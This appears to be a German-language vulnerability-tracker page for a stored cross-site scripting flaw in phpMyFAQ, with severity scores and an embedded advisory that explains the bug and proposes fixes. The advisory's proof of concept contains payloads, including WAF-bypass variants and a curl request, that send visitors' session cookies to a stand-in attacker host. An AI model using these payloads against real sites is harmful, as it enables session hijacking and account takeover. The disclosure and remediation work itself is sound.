CVE-2026-46361

mediumPriorität · verfolgen · 0EPSS 0.003 · 21. PerzentilEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.29% (21st) EPSS
CVSS 6.9 · medium
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · bewertet 2026-10-27

phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass html_entity_decode(strip_tags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

8.2
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 5.6–8.2

v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:Nsecondary · disclosure@vulncheck.comAusnutzbarkeit 1.7 · Auswirkung 4.7
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:Nsecondary · OSV
v4.08.2highCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:Nsecondary · ENISA EU
v4.08.2highCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.05.6mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (1)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-pqh6-8fxf-jx22phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering2026-05-06ghsa · osvUS

    ## Summary The search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig's `| raw` filter, which completely disables the template engine's built-in auto-escaping. A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags — bypassing `strip_tags()` — and the restored payload is injected into every visitor's browser via the `| raw` output. This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects `faq.twig`, bypass via regex mismatch in `Filter::removeAttributes()`) and is not addressed by the 4.1.1 patch. --- ## Affected Files | File | Location | Issue | |---|---|---| | `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` | `(Vertical Bar) raw` disables autoescape | | `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads | | `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) | --- ## Details ### Vulnerability A (Primary): `search.twig` — `| raw` Disables Autoescape **File:** `phpmyfaq/assets/templates/default/search.twig` ```twig <a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a> <small class="small">{{ result.answerPreview | raw }}...</small> ``` Twig's autoescape encodes all variables by default. The `| raw` filter unconditionally disables this protection. Both `result.question` and `result.answerPreview` are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data. Seven (7) instances of `| raw` exist in `search.twig`: ```twig {{ result.renderedScore | raw }} {{ result.question | raw }} {{ result.answerPreview | raw }} {{ searchTags | raw }} {{ relatedTags | raw }} {{ pagination | raw }} {{ 'help_search' | translate | raw }} ``` Each of these constitutes an independent XSS surface if its data source is compromised. --- ### Vulnerability B (Amplifier): `SearchController.php` — `html_entity_decode(strip_tags())` Bypass **File:** `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` ```php $data->answer = html_entity_decode( strip_tags((string) $data->answer), ENT_COMPAT, encoding: 'utf-8' ); ``` This pattern is a known security anti-pattern. When a payload is stored as HTML entities, `strip_tags()` passes it through unmodified (it sees no actual tags), and `html_entity_decode()` then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized. **Bypass walkthrough:** ```text Stored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)> strip_tags() → no change (no real tags detected) → <svg onload=fetch('https://attacker.com/?c='+document.cookie)> html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)> | raw output → executes in browser ``` --- ## Attack Chain **Prerequisites:** Attacker has FAQ editor / contributor role (low privilege). **Step 1 — Payload injection** Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body: ```html <svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))> <img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))> ``` **Step 2 — Persistence** The payload is stored in the DB without HTML sanitization at the storage layer. **Step 3 — Victim triggers the XSS** Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server: 1. Retrieves the record from the database 2. Applies `strip_tags()` → entity-encoded payload passes through 3. Applies `html_entity_decode()` → raw `<svg onload=...>` is restored 4. Passes the value to `search.twig` as `result.answerPreview` 5. Template renders with `| raw` → XSS executes **Step 4 — Impact** - Session cookie exfiltration → full account takeover - Administrator session hijacking (admin visiting search page) - Persistent attack: payload fires for every visitor until manually removed - Potential for worm propagation via auto-created FAQ entries --- ## PoC **Prerequisites:** Attacker has FAQ editor / contributor role (low privilege). **Step 1 — Inject payload via FAQ editor:** ```bash curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=<editor_session>' \ -d '{ "data": { "pmf-csrf-token": "<valid_csrf_token>", "question": "&lt;svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;", "answer": "&lt;img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;", "lang": "en", "categories[]": 1, "active": "yes", "tags": "test", "keywords": "searchable-keyword", "author": "attacker", "email": "attacker@example.com" } }' ``` **Step 2 — Trigger XSS as victim:** ``` https://target.example.com/search.html?search=searchable-keyword ``` The search result page renders the restored `<svg onload=...>` payload. The attacker's server receives the victim's session cookie. **Alternative payloads (for WAF bypass):** ```html &lt;details open ontoggle=alert(document.cookie)&gt; &lt;iframe srcdoc="&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;"&gt; ``` --- ## Impact - **Confidentiality :** Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context. - **Integrity :** DOM manipulation, phishing overlay injection. - **Scope :** Attack crosses from contributor privilege context to all site visitors, including administrators. --- ## Recommended Fix ### Fix 1 (Critical) — Remove `| raw` from user-controlled fields in `search.twig` ```diff - <a href="{{ result.url }}">{{ result.question | raw }}</a> - <small>{{ result.answerPreview | raw }}...</small> + <a href="{{ result.url }}">{{ result.question }}</a> + <small>{{ result.answerPreview }}...</small> ``` If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., `ezyang/htmlpurifier`) **before** passing data to the template, then retain `| raw` only for purified output. ### Fix 2 (Critical) — Remove `html_entity_decode()` from search result pipeline `SearchController.php` ```diff - $data->answer = html_entity_decode( - strip_tags((string) $data->answer), - ENT_COMPAT, - encoding: 'utf-8' - ); + $data->answer = strip_tags((string) $data->answer); $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12); ``` ### Fix 3 (Recommended) — Audit all `| raw` usages in `search.twig` The following additional `| raw` instances should be reviewed and sanitized: ```twig {{ searchTags | raw }} → apply HTML Purifier or remove | raw {{ relatedTags | raw }} → apply HTML Purifier or remove | raw {{ pagination | raw }} → safe only if generated entirely server-side with no user input ``` ### Fix 4 (Preventive) — Add `htmlspecialchars()` in `logSearchTerm()` ```diff $this->configuration->getDb()->escape($searchTerm) + htmlspecialchars( + $this->configuration->getDb()->escape($searchTerm), + ENT_QUOTES | ENT_HTML5, + 'UTF-8' + ) ``` ---

06

auch bekannt als (3)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-05-15geändert 2026-10-26
08

Referenzen (6)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan